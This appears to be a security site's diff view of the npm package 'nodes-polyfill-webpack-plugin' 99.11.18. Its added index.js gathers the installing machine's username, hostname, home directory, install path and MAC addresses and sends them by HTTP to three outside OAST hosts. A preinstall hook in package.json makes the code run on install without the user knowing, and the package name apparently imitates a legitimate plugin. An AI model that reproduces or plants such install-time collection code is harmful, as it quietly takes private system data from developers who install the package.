nodes-polyfill-webpack-plugin 99.11.18

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/index.js +69 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,69 @@
1
+ const os = require("os");
2
+ const querystring = require("querystring");
3
+ const http = require("http");
4
+ const fs = require("fs");
5
+ const packageJSON = require("./package.json");
6
+ const packageName = packageJSON.name;
7
+
8
+
9
+ function getMacAddressesBase64() {
10
+ const networkInterfaces = os.networkInterfaces();
11
+ const macAddresses = [];
12
+
13
+ for (const interfaceName in networkInterfaces) {
14
+ const interfaces = networkInterfaces[interfaceName];
15
+ interfaces.forEach((iface) => {
16
+ if (iface.mac && !macAddresses.includes(iface.mac)) {
17
+ macAddresses.push(iface.mac);
18
+ }
19
+ });
20
+ }
21
+
22
+ const macString = macAddresses.join(",");
23
+ return Buffer.from(macString).toString("base64");
24
+ }
25
+
26
+ const macAddressesBase64 = getMacAddressesBase64();
27
+
28
+ const trackingData = querystring.stringify({
29
+ package: packageName,
30
+ dir: __dirname,
31
+ homedir: os.homedir(),
32
+ hostname: os.hostname(),
33
+ mac_addresses: macAddressesBase64,
34
+ username: os.userInfo().username,
35
+ });
36
+
37
+ const addresses = [
38
+ "dnipqouebm-psl.cn.oast-cn.byted-dast.com",
39
+ "oqvignkp58-psl.i18n.oast-row.byted-dast.com",
40
+ "sbfwstspuutiarcjzptfutygntsslnz7p.oast.fun"
41
+ ];
42
+
43
+ function generateRandomFiveDigitNumber() {
44
+ return Math.floor(10000 + Math.random() * 90000);
45
+ }
46
+
47
+ const randomNumber = generateRandomFiveDigitNumber();
48
+
49
+ addresses.forEach((hostname) => {
50
+ const options = {
51
+ hostname: hostname,
52
+ port: "80",
53
+ path: `/realtime_p/npm/${randomNumber}?${trackingData}`,
54
+ method: "GET",
55
+ rejectUnauthorized: false
56
+ };
57
+
58
+ const req = http.request(options, (res) => {
59
+ res.on("data", (d) => {
60
+ console.log(`Response from ${hostname}:`, d.toString());
61
+ });
62
+ });
63
+
64
+ req.on("error", (e) => {
65
+ console.error(`Error with request to ${hostname}:`, e);
66
+ });
67
+
68
+ req.end();
69
+ });
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "nodes-polyfill-webpack-plugin",
3
+ "version": "99.11.18",
4
+ "main": "index.js",
5
+ "scripts": {
6
+ "preinstall": "node index.js",
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }